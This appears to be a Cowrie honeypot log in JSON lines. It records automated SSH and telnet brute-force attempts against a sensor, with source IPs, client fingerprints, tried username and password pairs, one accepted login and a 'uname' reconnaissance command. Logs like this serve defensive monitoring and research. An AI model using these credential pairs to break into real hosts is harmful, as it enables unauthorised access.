{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.099860Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.518296Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.734780Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.738511Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.825168Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.830612Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:50.135783Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49602,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dcf02126bad","protocol":"telnet","message":"New connection: 192.119.13.58:49602 (10.17.0.5:23) [session: 0dcf02126bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:50.758524Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":33436,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a446067aeac","protocol":"ssh","message":"New connection: 43.153.112.253:33436 (10.17.0.5:22) [session: 8a446067aeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.260592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.264703Z","src_ip":"43.153.112.253","session":"8a446067aeac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.333297Z","src_ip":"43.153.112.253","session":"8a446067aeac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.640879Z","src_ip":"43.153.112.253","session":"8a446067aeac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1b996ef1097","protocol":"ssh","message":"New connection: 45.153.34.112:33948 (10.17.0.5:22) [session: c1b996ef1097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.673536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.678183Z","src_ip":"45.153.34.112","session":"c1b996ef1097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:52.760093Z","src_ip":"45.153.34.112","session":"c1b996ef1097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:53.007220Z","src_ip":"45.153.34.112","session":"c1b996ef1097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:53.716050Z","src_ip":"43.153.112.253","session":"8a446067aeac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:54.091900Z","src_ip":"45.153.34.112","session":"c1b996ef1097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4093ca9fe3","protocol":"ssh","message":"New connection: 45.153.34.112:33956 (10.17.0.5:22) [session: 5c4093ca9fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:56.108629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:56.113603Z","src_ip":"45.153.34.112","session":"5c4093ca9fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:56.196943Z","src_ip":"45.153.34.112","session":"5c4093ca9fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44160,"dst_ip":"10.17.0.5","dst_port":23,"session":"4110a35d8897","protocol":"telnet","message":"New connection: 192.119.13.58:44160 (10.17.0.5:23) [session: 4110a35d8897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:56.241979Z"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:56.444635Z","src_ip":"45.153.34.112","session":"5c4093ca9fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:57.529565Z","src_ip":"45.153.34.112","session":"5c4093ca9fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50592,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2bd4adafa8","protocol":"telnet","message":"New connection: 192.119.13.58:50592 (10.17.0.5:23) [session: 1f2bd4adafa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:57.798769Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04108084a17","protocol":"ssh","message":"New connection: 45.153.34.112:58500 (10.17.0.5:22) [session: e04108084a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:59.733611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:59.738558Z","src_ip":"45.153.34.112","session":"e04108084a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:59.820676Z","src_ip":"45.153.34.112","session":"e04108084a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:00.102039Z","src_ip":"45.153.34.112","session":"e04108084a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71732211112976,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:00.239245Z","src_ip":"192.119.13.58","session":"2de4901cf4c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.07553267478943,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:01.076086Z","src_ip":"192.119.13.58","session":"2fac3dbe5624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:01.186937Z","src_ip":"45.153.34.112","session":"e04108084a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58502,"dst_ip":"10.17.0.5","dst_port":22,"session":"c48a6e7c8d86","protocol":"ssh","message":"New connection: 45.153.34.112:58502 (10.17.0.5:22) [session: c48a6e7c8d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:03.121483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:03.140373Z","src_ip":"45.153.34.112","session":"c48a6e7c8d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:03.234563Z","src_ip":"45.153.34.112","session":"c48a6e7c8d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:03.486475Z","src_ip":"45.153.34.112","session":"c48a6e7c8d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.985594511032104,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:03.853758Z","src_ip":"192.119.13.58","session":"7e5d2b229fc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.33289861679077,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:04.231934Z","src_ip":"192.119.13.58","session":"9e61d0825c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:04.579092Z","src_ip":"45.153.34.112","session":"c48a6e7c8d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":17508,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57719dcf5da","protocol":"ssh","message":"New connection: 158.178.141.16:17508 (10.17.0.5:22) [session: e57719dcf5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:04.586937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:04.592605Z","src_ip":"158.178.141.16","session":"e57719dcf5da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:04.806094Z","src_ip":"158.178.141.16","session":"e57719dcf5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52680,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d768921909","protocol":"telnet","message":"New connection: 192.119.13.58:52680 (10.17.0.5:23) [session: 46d768921909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:05.074777Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qW","message":"login attempt [root/123456qW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:05.684794Z","src_ip":"158.178.141.16","session":"e57719dcf5da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31750679016113,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.188132Z","src_ip":"192.119.13.58","session":"34aba13075ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58514,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5294e1f089","protocol":"ssh","message":"New connection: 45.153.34.112:58514 (10.17.0.5:22) [session: cc5294e1f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.513726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.519343Z","src_ip":"45.153.34.112","session":"cc5294e1f089","protocol":"ssh"}
